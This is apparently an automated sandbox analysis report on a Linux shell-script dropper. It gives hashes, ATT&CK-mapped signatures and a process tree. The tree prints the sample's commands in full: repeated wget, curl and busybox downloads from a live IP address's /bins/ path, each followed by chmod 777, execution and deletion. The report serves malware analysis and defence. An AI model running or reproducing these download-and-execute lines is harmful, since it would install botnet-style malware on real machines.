562daf29b3ace2e773d86c54607031a940d685fa0486400720e6a55754c04c1f

Analysis

max time kernel
26s
max time network
29s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
29/10/2024, 02:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
562daf29b3ace2e773d86c54607031a940d685fa0486400720e6a55754c04c1f.sh
Size 10KB
Sample241029-cs1lassfld
SHA256 562daf29b3ace2e773d86c54607031a940d685fa0486400720e6a55754c04c1f
MD5 acfd990132153f5d7902470c82acca9a
SHA1 7f8aa0bf8dc9d7ccdf0928b8f63a0c345ec543ed
SHA512 acefdada157ff51e7b00f84aa0236f875bce14317a9dfb33a1b926d32392f229819ec9c5d7ba296a2b9bb345fafacd7a223bf26c7160ece7e0e145f95a8dc8bd
SSDEEP 192:W+G9o0jeksB4EvCKVzU5g91y/rkjHksB4Ed7qo91y/rs0+G9o0U:qeksB4EvCKVzU5ijHksB4Ed7qeR
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 18 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
720	chmod
824	chmod
850	chmod
862	chmod
703	chmod
758	chmod
788	chmod
812	chmod
818	chmod
830	chmod
806	chmod
836	chmod
842	chmod
680	chmod
687	chmod
744	chmod
768	chmod
856	chmod

Executes dropped EXE 18 IoCs

Checks CPU configuration 1 TTPs 18 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 36 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 18 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV	curl
File opened for modification	/tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E	curl
File opened for modification	/tmp/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby	curl
File opened for modification	/tmp/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif	curl
File opened for modification	/tmp/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68	curl
File opened for modification	/tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F	curl
File opened for modification	/tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E	curl
File opened for modification	/tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem	curl
File opened for modification	/tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F	curl
File opened for modification	/tmp/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D	curl
File opened for modification	/tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i	curl
File opened for modification	/tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i	curl
File opened for modification	/tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV	curl
File opened for modification	/tmp/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA	curl
File opened for modification	/tmp/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb	curl
File opened for modification	/tmp/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj	curl
File opened for modification	/tmp/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe	curl
File opened for modification	/tmp/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK	curl

/tmp/562daf29b3ace2e773d86c54607031a940d685fa0486400720e6a55754c04c1f.sh
/tmp/562daf29b3ace2e773d86c54607031a940d685fa0486400720e6a55754c04c1f.sh
1⤵
PID:650
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:653
- /usr/bin/wget
  wget http://87.120.84.230/bins/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  PID:657
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:669
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  PID:676
- /bin/chmod
  chmod 777 b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  ./b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  - Executes dropped EXE
  PID:681
- /bin/rm
  rm b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  PID:682
- /usr/bin/wget
  wget http://87.120.84.230/bins/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  PID:684
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:685
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  PID:686
- /bin/chmod
  chmod 777 V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  ./V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  - Executes dropped EXE
  PID:688
- /bin/rm
  rm V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  PID:689
- /usr/bin/wget
  wget http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:690
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:694
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:699
- /bin/chmod
  chmod 777 Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - File and Directory Permissions Modification
  PID:703
- /tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  ./Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - Executes dropped EXE
  PID:704
- /bin/rm
  rm Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:706
- /usr/bin/wget
  wget http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:707
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:711
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:716
- /bin/chmod
  chmod 777 BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - File and Directory Permissions Modification
  PID:720
- /tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  ./BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - Executes dropped EXE
  PID:722
- /bin/rm
  rm BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:723
- /usr/bin/wget
  wget http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:724
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:729
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:738
- /bin/chmod
  chmod 777 HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  ./HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:747
- /usr/bin/wget
  wget http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:753
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:757
- /bin/chmod
  chmod 777 R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  ./R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - Executes dropped EXE
  PID:759
- /bin/rm
  rm R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:760
- /usr/bin/wget
  wget http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:761
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:762
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:763
- /bin/chmod
  chmod 777 NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  ./NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  - Executes dropped EXE
  PID:769
- /bin/rm
  rm NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:770
- /usr/bin/wget
  wget http://87.120.84.230/bins/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  PID:772
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:777
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  PID:783
- /bin/chmod
  chmod 777 LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  ./LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  - Executes dropped EXE
  PID:789
- /bin/rm
  rm LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  PID:790
- /usr/bin/wget
  wget http://87.120.84.230/bins/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  PID:791
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:796
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  PID:802
- /bin/chmod
  chmod 777 yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  ./yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  - Executes dropped EXE
  PID:807
- /bin/rm
  rm yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  PID:808
- /usr/bin/wget
  wget http://87.120.84.230/bins/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  PID:809
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  PID:811
- /bin/chmod
  chmod 777 5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  ./5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm 5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  PID:814
- /usr/bin/wget
  wget http://87.120.84.230/bins/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  PID:817
- /bin/chmod
  chmod 777 GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  ./GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  - Executes dropped EXE
  PID:819
- /bin/rm
  rm GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  PID:820
- /usr/bin/wget
  wget http://87.120.84.230/bins/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  PID:823
- /bin/chmod
  chmod 777 pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  ./pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  PID:826
- /usr/bin/wget
  wget http://87.120.84.230/bins/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  PID:829
- /bin/chmod
  chmod 777 4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  ./4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  - Executes dropped EXE
  PID:831
- /bin/rm
  rm 4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  PID:832
- /usr/bin/wget
  wget http://87.120.84.230/bins/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  PID:833
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:834
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  PID:835
- /bin/chmod
  chmod 777 NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  ./NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  - Executes dropped EXE
  PID:837
- /bin/rm
  rm NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  PID:838
- /usr/bin/wget
  wget http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:839
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:840
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:841
- /bin/chmod
  chmod 777 Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  ./Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - Executes dropped EXE
  PID:843
- /bin/rm
  rm Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:844
- /usr/bin/wget
  wget http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:845
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:846
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:847
- /bin/chmod
  chmod 777 BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  ./BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - Executes dropped EXE
  PID:851
- /bin/rm
  rm BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:852
- /usr/bin/wget
  wget http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:853
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:854
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:855
- /bin/chmod
  chmod 777 HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  ./HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - Executes dropped EXE
  PID:857
- /bin/rm
  rm HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:858
- /usr/bin/wget
  wget http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:859
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:861
- /bin/chmod
  chmod 777 R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  ./R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - Executes dropped EXE
  PID:863
- /bin/rm
  rm R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:864
- /usr/bin/wget
  wget http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:865

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem

Path /tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem	681	b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
/tmp/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj	688	V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
/tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i	704	Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
/tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F	722	BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
/tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E	746	HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
/tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV	759	R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
/tmp/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby	769	NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
/tmp/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA	789	LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
/tmp/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D	807	yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
/tmp/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif	813	5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
/tmp/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb	819	GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
/tmp/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe	825	pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
/tmp/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK	831	4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
/tmp/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68	837	NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
/tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i	843	Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
/tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F	851	BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
/tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E	857	HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
/tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV	863	R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads